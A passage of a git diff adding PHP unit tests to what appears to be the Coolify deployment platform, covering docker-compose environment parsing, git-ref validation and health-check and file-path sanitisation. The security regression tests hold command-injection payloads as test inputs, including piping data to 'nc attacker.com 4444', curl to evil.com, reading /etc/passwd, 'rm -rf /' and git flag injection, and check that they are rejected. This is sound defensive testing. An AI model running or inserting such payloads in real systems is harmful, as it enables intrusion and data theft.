->and($result[0]['service_name'])->toBe('app') + ->and($result[1]['key'])->toBe('POSTGRES_DB') + ->and($result[1]['service_name'])->toBe('db'); +}); + +test('handles associative array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + NODE_ENV: production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('NODE_ENV') + ->and($result[0]['value'])->toBe('production') + ->and($result[1]['key'])->toBe('PORT') + ->and($result[1]['value'])->toBe(3000); // Integer values stay as integers from YAML +}); + +test('handles environment variables without values', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - API_KEY + - DEBUG=false +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toHaveCount(2) + ->and($result[0]['key'])->toBe('API_KEY') + ->and($result[0]['value'])->toBe('') // Variables without values get empty string, not null + ->and($result[1]['key'])->toBe('DEBUG') + ->and($result[1]['value'])->toBe('false'); +}); + +test('returns empty collection for malformed YAML', function () { + $yaml = 'invalid: yaml: content::: [[['; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection for empty compose file', function () { + $result = extractHardcodedEnvironmentVariables(''); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when no services defined', function () { + $yaml = <<<'YAML' +version: '3.8' +networks: + default: +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('returns empty collection when service has no environment section', function () { + $yaml = <<<'YAML' +services: + app: + image: nginx +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + expect($result)->toBeEmpty(); +}); + +test('handles mixed associative and array format', function () { + $yaml = <<<'YAML' +services: + app: + environment: + - NODE_ENV=production + PORT: 3000 +YAML; + + $result = extractHardcodedEnvironmentVariables($yaml); + + // Mixed format is invalid YAML and returns empty collection + expect($result)->toBeEmpty(); +}); diff --git a/tests/Unit/ExtractYamlEnvironmentCommentsTest.php b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php new file mode 100644 index 000000000..4300b3abf --- /dev/null +++ b/tests/Unit/ExtractYamlEnvironmentCommentsTest.php @@ -0,0 +1,334 @@ +toBe([]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from map format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # This is a comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments extracts inline comments from array format', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - FOO=bar # This is a comment + - BAZ=qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + COLOR: "#FF0000" # hex color code + DB_URL: "postgres://user:pass#123@localhost" # database URL + PLAIN: value # no quotes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'COLOR' => 'hex color code', + 'DB_URL' => 'database URL', + 'PLAIN' => 'no quotes', + ]); +}); + +test('extractYamlEnvironmentComments handles single quoted values containing hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + PASSWORD: 'secret#123' # my password +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'PASSWORD' => 'my password', + ]); +}); + +test('extractYamlEnvironmentComments skips full-line comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + # This is a full line comment + FOO: bar # This is an inline comment + # Another full line comment + BAZ: qux +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'This is an inline comment', + ]); +}); + +test('extractYamlEnvironmentComments handles multiple services', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + WEB_PORT: 8080 # web server port + db: + image: postgres:15 + environment: + POSTGRES_USER: admin # database admin user + POSTGRES_PASSWORD: secret +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'WEB_PORT' => 'web server port', + 'POSTGRES_USER' => 'database admin user', + ]); +}); + +test('extractYamlEnvironmentComments handles variables without values', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DEBUG # enable debug mode + - VERBOSE +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DEBUG' => 'enable debug mode', + ]); +}); + +test('extractYamlEnvironmentComments handles array format with colons', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + - DATABASE_URL: postgres://localhost # connection string +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'DATABASE_URL' => 'connection string', + ]); +}); + +test('extractYamlEnvironmentComments does not treat hash inside unquoted values as comment start', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + API_KEY: abc#def + OTHER: xyz # this is a comment +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // abc#def has no space before #, so it's not treated as a comment + expect($result)->toBe([ + 'OTHER' => 'this is a comment', + ]); +}); + +test('extractYamlEnvironmentComments handles empty environment section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + ports: + - "80:80" +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles environment inline format (not supported)', function () { + // Inline format like environment: { FOO: bar } is not supported for comment extraction + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: { FOO: bar } +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // No comments extracted from inline format + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments handles complex real-world docker-compose', function () { + $yaml = <<<'YAML' +version: "3.8" + +services: + app: + image: myapp:latest + environment: + NODE_ENV: production # Set to development for local + DATABASE_URL: "postgres://user:pass@db:5432/mydb" # Main database + REDIS_URL: "redis://cache:6379" + API_SECRET: "${API_SECRET}" # From .env file + LOG_LEVEL: debug # Options: debug, info, warn, error + ports: + - "3000:3000" + + db: + image: postgres:15 + environment: + POSTGRES_USER: user # Database admin username + POSTGRES_PASSWORD: "${DB_PASSWORD}" + POSTGRES_DB: mydb + + cache: + image: redis:7 + environment: + - REDIS_MAXMEMORY=256mb # Memory limit for cache +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'NODE_ENV' => 'Set to development for local', + 'DATABASE_URL' => 'Main database', + 'API_SECRET' => 'From .env file', + 'LOG_LEVEL' => 'Options: debug, info, warn, error', + 'POSTGRES_USER' => 'Database admin username', + 'REDIS_MAXMEMORY' => 'Memory limit for cache', + ]); +}); + +test('extractYamlEnvironmentComments handles comment with multiple hash symbols', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # comment # with # hashes +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'FOO' => 'comment # with # hashes', + ]); +}); + +test('extractYamlEnvironmentComments handles variables with empty comments', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + FOO: bar # + BAZ: qux # +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Empty comments should not be included + expect($result)->toBe([]); +}); + +test('extractYamlEnvironmentComments properly exits environment block on new section', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + image: nginx:latest + environment: + FOO: bar # env comment + ports: + - "80:80" # port comment should not be captured + volumes: + - ./data:/data # volume comment should not be captured +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + // Only environment variables should have comments extracted + expect($result)->toBe([ + 'FOO' => 'env comment', + ]); +}); + +test('extractYamlEnvironmentComments handles SERVICE_ variables', function () { + $yaml = <<<'YAML' +version: "3.8" +services: + web: + environment: + SERVICE_FQDN_WEB: /api # Path for the web service + SERVICE_URL_WEB: # URL will be generated + NORMAL_VAR: value # Regular variable +YAML; + + $result = extractYamlEnvironmentComments($yaml); + + expect($result)->toBe([ + 'SERVICE_FQDN_WEB' => 'Path for the web service', + 'SERVICE_URL_WEB' => 'URL will be generated', + 'NORMAL_VAR' => 'Regular variable', + ]); +}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php index a89a209b1..192ea8c8f 100644 --- a/tests/Unit/FileStorageSecurityTest.php +++ b/tests/Unit/FileStorageSecurityTest.php @@ -91,3 +91,53 @@ expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path')) ->not->toThrow(Exception::class); }); + +// --- Regression tests for GHSA-46hp-7m8g-7622 --- +// These verify that file mount paths (not just directory mounts) are validated, +// and that saveStorageOnServer() validates fs_path before any shell interpolation. + +test('file storage rejects command injection in file mount path context', function () { + $maliciousPaths = [ + '/app/config$(id)', + '/app/config;whoami', + '/app/config|cat /etc/passwd', + '/app/config`id`', + '/app/config&whoami', + '/app/config>/tmp/pwned', + '/app/config validateShellSafePath($path, 'file storage path')) + ->toThrow(Exception::class); + } +}); + +test('file storage rejects variable substitution in paths', function () { + expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path')) + ->toThrow(Exception::class); +}); + +test('file storage accepts safe file mount paths', function () { + $safePaths = [ + '/etc/nginx/nginx.conf', + '/app/.env', + '/data/coolify/services/abc123/config.yml', + '/var/www/html/index.php', + '/opt/app/config/database.json', + ]; + + foreach ($safePaths as $path) { + expect(fn () => validateShellSafePath($path, 'file storage path')) + ->not->toThrow(Exception::class); + } +}); + +test('file storage accepts relative dot-prefixed paths', function () { + expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('./data', 'storage path')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php new file mode 100644 index 000000000..d4271d3ee --- /dev/null +++ b/tests/Unit/GetContainersStatusEmptyContainerSafeguardTest.php @@ -0,0 +1,54 @@ +toContain('$notRunningApplications = $this->applications->pluck(\'id\')->diff($foundApplications);'); + + // Count occurrences of the safeguard pattern in the not-found sections + $safeguardPattern = '// Only protection: If no containers at all, Docker query might have failed'; + $safeguardCount = substr_count($actionFile, $safeguardPattern); + + // Should appear at least 4 times: applications, previews, databases, services + expect($safeguardCount)->toBeGreaterThanOrEqual(4); +}); + +it('has empty container safeguard for databases', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the database not-found section + $databaseSectionStart = strpos($actionFile, '$notRunningDatabases = $databases->pluck(\'id\')->diff($foundDatabases);'); + expect($databaseSectionStart)->not->toBeFalse('Database not-found section should exist'); + + // Get the code between database section start and the next major section + $databaseSection = substr($actionFile, $databaseSectionStart, 500); + + // The empty container safeguard must exist in the database section + expect($databaseSection)->toContain('$this->containers->isEmpty()'); +}); + +it('has empty container safeguard for services', function () { + $actionFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php'); + + // Extract the service exited section + $serviceSectionStart = strpos($actionFile, '$exitedServices = $exitedServices->unique(\'uuid\');'); + expect($serviceSectionStart)->not->toBeFalse('Service exited section should exist'); + + // Get the code in the service exited loop + $serviceSection = substr($actionFile, $serviceSectionStart, 500); + + // The empty container safeguard must exist in the service section + expect($serviceSection)->toContain('$this->containers->isEmpty()'); +}); diff --git a/tests/Unit/GitRefValidationTest.php b/tests/Unit/GitRefValidationTest.php new file mode 100644 index 000000000..58d07f4b7 --- /dev/null +++ b/tests/Unit/GitRefValidationTest.php @@ -0,0 +1,123 @@ +toBe('abc123def456'); + expect(validateGitRef('a3e59e5c9'))->toBe('a3e59e5c9'); + expect(validateGitRef('abc123def456abc123def456abc123def456abc123'))->toBe('abc123def456abc123def456abc123def456abc123'); + }); + + test('accepts HEAD', function () { + expect(validateGitRef('HEAD'))->toBe('HEAD'); + }); + + test('accepts empty string', function () { + expect(validateGitRef(''))->toBe(''); + }); + + test('accepts branch and tag names', function () { + expect(validateGitRef('main'))->toBe('main'); + expect(validateGitRef('feature/my-branch'))->toBe('feature/my-branch'); + expect(validateGitRef('v1.2.3'))->toBe('v1.2.3'); + expect(validateGitRef('release-2.0'))->toBe('release-2.0'); + expect(validateGitRef('my_branch'))->toBe('my_branch'); + }); + + test('trims whitespace', function () { + expect(validateGitRef(' abc123 '))->toBe('abc123'); + }); + + test('rejects single quote injection', function () { + expect(fn () => validateGitRef("HEAD'; id >/tmp/poc; #")) + ->toThrow(Exception::class); + }); + + test('rejects semicolon command separator', function () { + expect(fn () => validateGitRef('abc123; rm -rf /')) + ->toThrow(Exception::class); + }); + + test('rejects command substitution with $()', function () { + expect(fn () => validateGitRef('$(whoami)')) + ->toThrow(Exception::class); + }); + + test('rejects backtick command substitution', function () { + expect(fn () => validateGitRef('`whoami`')) + ->toThrow(Exception::class); + }); + + test('rejects pipe operator', function () { + expect(fn () => validateGitRef('abc | cat /etc/passwd')) + ->toThrow(Exception::class); + }); + + test('rejects ampersand operator', function () { + expect(fn () => validateGitRef('abc & whoami')) + ->toThrow(Exception::class); + }); + + test('rejects hash comment injection', function () { + expect(fn () => validateGitRef('abc #')) + ->toThrow(Exception::class); + }); + + test('rejects newline injection', function () { + expect(fn () => validateGitRef("abc\nwhoami")) + ->toThrow(Exception::class); + }); + + test('rejects redirect operators', function () { + expect(fn () => validateGitRef('abc > /tmp/out')) + ->toThrow(Exception::class); + }); + + test('rejects hyphen-prefixed input (git flag injection)', function () { + expect(fn () => validateGitRef('--upload-pack=malicious')) + ->toThrow(Exception::class); + }); + + test('rejects the exact PoC payload from advisory', function () { + expect(fn () => validateGitRef("HEAD'; whoami >/tmp/coolify_poc_git; #")) + ->toThrow(Exception::class); + }); +}); + +describe('executeInDocker git log escaping', function () { + test('git log command escapes commit SHA to prevent injection', function () { + $maliciousCommit = "HEAD'; id; #"; + $command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B'; + $result = executeInDocker('test-container', $command); + + // The malicious payload must not be able to break out of quoting + expect($result)->not->toContain("id;"); + expect($result)->toContain("'HEAD'\\''"); + }); +}); + +describe('buildGitCheckoutCommand escaping', function () { + test('checkout command escapes target to prevent injection', function () { + $app = new \App\Models\Application; + $app->forceFill(['uuid' => 'test-uuid']); + + $settings = new \App\Models\ApplicationSetting; + $settings->is_git_submodules_enabled = false; + $app->setRelation('settings', $settings); + + $method = new \ReflectionMethod($app, 'buildGitCheckoutCommand'); + + $result = $method->invoke($app, 'abc123'); + expect($result)->toContain("git checkout 'abc123'"); + + $result = $method->invoke($app, "abc'; id; #"); + expect($result)->not->toContain("id;"); + expect($result)->toContain("git checkout 'abc'"); + }); +}); diff --git a/tests/Unit/GitlabSourceCommandsTest.php b/tests/Unit/GitlabSourceCommandsTest.php new file mode 100644 index 000000000..077b21590 --- /dev/null +++ b/tests/Unit/GitlabSourceCommandsTest.php @@ -0,0 +1,91 @@ +makePartial(); + $privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key'); + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(1); + $gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'git@gitlab.com:user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('id_rsa'); + expect($result['commands'])->toContain('mkdir -p /root/.ssh'); +}); + +it('generates ls-remote commands for GitLab source without private key', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $result = $application->generateGitLsRemoteCommands($deploymentUuid, false); + + expect($result)->toBeArray(); + expect($result)->toHaveKey('commands'); + expect($result['commands'])->toContain('git ls-remote'); + expect($result['commands'])->toContain('https://gitlab.com/user/repo.git'); + // Should NOT contain SSH key setup + expect($result['commands'])->not->toContain('id_rsa'); +}); + +it('does not return null for GitLab source type', function () { + $deploymentUuid = 'test-deployment-uuid'; + + $gitlabSource = Mockery::mock(GitlabApp::class)->makePartial(); + $gitlabSource->shouldReceive('getMorphClass')->andReturn(\App\Models\GitlabApp::class); + $gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn(null); + $gitlabSource->shouldReceive('getAttribute')->with('private_key_id')->andReturn(null); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->git_branch = 'main'; + $application->shouldReceive('deploymentType')->andReturn('source'); + $application->shouldReceive('customRepository')->andReturn([ + 'repository' => 'https://gitlab.com/user/repo.git', + 'port' => 22, + ]); + $application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource); + $application->source = $gitlabSource; + + $lsRemoteResult = $application->generateGitLsRemoteCommands($deploymentUuid, false); + expect($lsRemoteResult)->not->toBeNull(); + expect($lsRemoteResult)->toHaveKeys(['commands', 'branch', 'fullRepoUrl']); +}); diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php new file mode 100644 index 000000000..88361c3d9 --- /dev/null +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -0,0 +1,339 @@ + 'localhost; id > /tmp/pwned #', + ]); + + // Should fall back to 'localhost' because input contains shell metacharacters + expect($result)->not->toContain('; id') + ->and($result)->not->toContain('/tmp/pwned') + ->and($result)->toContain('localhost'); +}); + +it('sanitizes health_check_method to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET; curl http://evil.com #', + ]); + + expect($result)->not->toContain('evil.com') + ->and($result)->not->toContain('; curl'); +}); + +it('sanitizes health_check_path to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_path' => '/health; rm -rf / #', + ]); + + expect($result)->not->toContain('rm -rf') + ->and($result)->not->toContain('; rm'); +}); + +it('sanitizes health_check_scheme to prevent command injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_scheme' => 'http; cat /etc/passwd #', + ]); + + expect($result)->not->toContain('/etc/passwd') + ->and($result)->not->toContain('; cat'); +}); + +it('casts health_check_port to integer to prevent injection', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_port' => '8080; whoami', + ]); + + // (int) cast on non-numeric after digits yields 8080 + expect($result)->not->toContain('whoami') + ->and($result)->toContain('8080'); +}); + +it('generates valid healthcheck command with safe inputs', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => '8080', + 'health_check_path' => '/health', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->toContain('http://localhost:8080/health') + ->and($result)->toContain('wget -q -O-'); +}); + +it('uses escapeshellarg on the constructed URL', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_host' => 'my-app.local', + 'health_check_path' => '/api/health', + ]); + + // escapeshellarg wraps in single quotes + expect($result)->toContain("'http://my-app.local:80/api/health'"); +}); + +it('validates health_check_host rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_host' => 'localhost; id #'], + ['health_check_host' => $rules['health_check_host']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_method rejects invalid methods via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_method' => 'GET; curl evil.com'], + ['health_check_method' => $rules['health_check_method']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_scheme rejects invalid schemes via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_scheme' => 'http; whoami'], + ['health_check_scheme' => $rules['health_check_scheme']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_path rejects shell metacharacters via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_path' => '/health; rm -rf /'], + ['health_check_path' => $rules['health_check_path']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates health_check_port rejects non-numeric values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + ['health_check_port' => '8080; whoami'], + ['health_check_port' => $rules['health_check_port']] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('allows valid health check values via API rules', function () { + $rules = sharedDataApplications(); + + $validator = Validator::make( + [ + 'health_check_host' => 'my-app.localhost', + 'health_check_method' => 'GET', + 'health_check_scheme' => 'https', + 'health_check_path' => '/api/v1/health', + 'health_check_port' => 8080, + ], + [ + 'health_check_host' => $rules['health_check_host'], + 'health_check_method' => $rules['health_check_method'], + 'health_check_scheme' => $rules['health_check_scheme'], + 'health_check_path' => $rules['health_check_path'], + 'health_check_port' => $rules['health_check_port'], + ] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('generates CMD healthcheck command directly', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + expect($result)->toBe('pg_isready -U postgres'); +}); + +it('strips newlines from CMD healthcheck command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => "redis-cli\nping", + ]); + + expect($result)->not->toContain("\n") + ->and($result)->toBe('redis-cli ping'); +}); + +it('falls back to HTTP healthcheck when CMD type has empty command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => '', + ]); + + // Should fall through to HTTP path + expect($result)->toContain('curl -s -X'); +}); + +it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl localhost; rm -rf /', + ]); + + // Semicolons are blocked by runtime regex — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('rm -rf'); +}); + +it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'echo test | nc attacker.com 4444', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('nc attacker.com'); +}); + +it('falls back to HTTP healthcheck when CMD command contains subshell', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl $(cat /etc/passwd)', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + // Exceeds max length — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X'); +}); + +it('falls back to HTTP healthcheck when CMD command contains backticks', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl `cat /etc/passwd`', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('uses sanitized method in full_healthcheck_url display', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'INVALID;evil', + 'health_check_host' => 'localhost', + ]); + + // Method should be sanitized to 'GET' (default) in both command and display + expect($result)->toContain("'GET'") + ->and($result)->not->toContain('evil'); +}); + +it('validates healthCheckCommand rejects strings over 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => str_repeat('a', 1001)], + $rules + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates healthCheckCommand accepts strings under 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + $rules + ); + + expect($validator->fails())->toBeFalse(); +}); + +/** + * Helper: Invokes the private generate_healthcheck_commands() method via reflection. + */ +function callGenerateHealthcheckCommands(array $overrides = []): string +{ + $defaults = [ + 'health_check_type' => 'http', + 'health_check_command' => null, + 'health_check_method' => 'GET', + 'health_check_scheme' => 'http', + 'health_check_host' => 'localhost', + 'health_check_port' => null, + 'health_check_path' => '/', + 'ports_exposes' => '80', + ]; + + $values = array_merge($defaults, $overrides); + + $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']); + $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']); + $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']); + $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']); + $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']); + $application->shouldReceive('getAttribute')->with('health_check_port')->andReturn($values['health_check_port']); + $application->shouldReceive('getAttribute')->with('health_check_path')->andReturn($values['health_check_path']); + $application->shouldReceive('getAttribute')->with('ports_exposes_array')->andReturn(explode(',', $values['ports_exposes'])); + $application->shouldReceive('getAttribute')->with('build_pack')->andReturn('nixpacks'); + + $settings = Mockery::mock(ApplicationSetting::class)->makePartial(); + $settings->shouldReceive('getAttribute')->with('is_static')->andReturn(false); + $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); + + $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + $deploymentQueue->shouldReceive('addLogEntry')->andReturnNull(); + + $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); + + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); + + $appProp = $reflection->getProperty('application'); + $appProp->setAccessible(true); + $appProp->setValue($job, $application); + + $queueProp = $reflection->getProperty('application_deployment_queue'); + $queueProp->setAccessible(true); + $queueProp->setValue($job, $deploymentQueue); + + $method = $reflection->getMethod('generate_healthcheck_commands'); + $method->setAccessible(true); + + return $method->invoke($job); +} diff --git a/tests/Unit/HetznerDeletionFailedNotificationTest.php b/tests/Unit/HetznerDeletionFailedNotificationTest.php index 6cb9f0bb3..22d5e80db 100644 --- a/tests/Unit/HetznerDeletionFailedNotificationTest.php +++ b/tests/Unit/HetznerDeletionFailedNotificationTest.php @@ -1,7 +1,6 @@ ['value' => 'value1', 'comment' => null], + 'KEY2' => ['value' => 'value2', 'comment' => 'This is a comment'], + 'KEY3' => ['value' => 'value3', 'comment' => null], + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + + if ($key === 'KEY1') { + expect($value)->toBe('value1'); + expect($comment)->toBeNull(); + } elseif ($key === 'KEY2') { + expect($value)->toBe('value2'); + expect($comment)->toBe('This is a comment'); + } elseif ($key === 'KEY3') { + expect($value)->toBe('value3'); + expect($comment)->toBeNull(); + } + } +}); + +test('DockerCompose handles plain string format gracefully', function () { + // Simulate a scenario where parseEnvFormatToArray might return plain strings + // (for backward compatibility or edge cases) + $variables = [ + 'KEY1' => 'value1', + 'KEY2' => 'value2', + 'KEY3' => 'value3', + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($comment)->toBeNull(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3']); + } +}); + +test('DockerCompose handles mixed array and string formats', function () { + // Simulate a mixed scenario (unlikely but possible) + $variables = [ + 'KEY1' => ['value' => 'value1', 'comment' => 'comment1'], + 'KEY2' => 'value2', // Plain string + 'KEY3' => ['value' => 'value3', 'comment' => null], + 'KEY4' => 'value4', // Plain string + ]; + + // Test the extraction logic + foreach ($variables as $key => $data) { + // Handle both array format ['value' => ..., 'comment' => ...] and plain string values + $value = is_array($data) ? ($data['value'] ?? '') : $data; + $comment = is_array($data) ? ($data['comment'] ?? null) : null; + + // Verify the extraction + expect($value)->toBeString(); + expect($key)->toBeIn(['KEY1', 'KEY2', 'KEY3', 'KEY4']); + + if 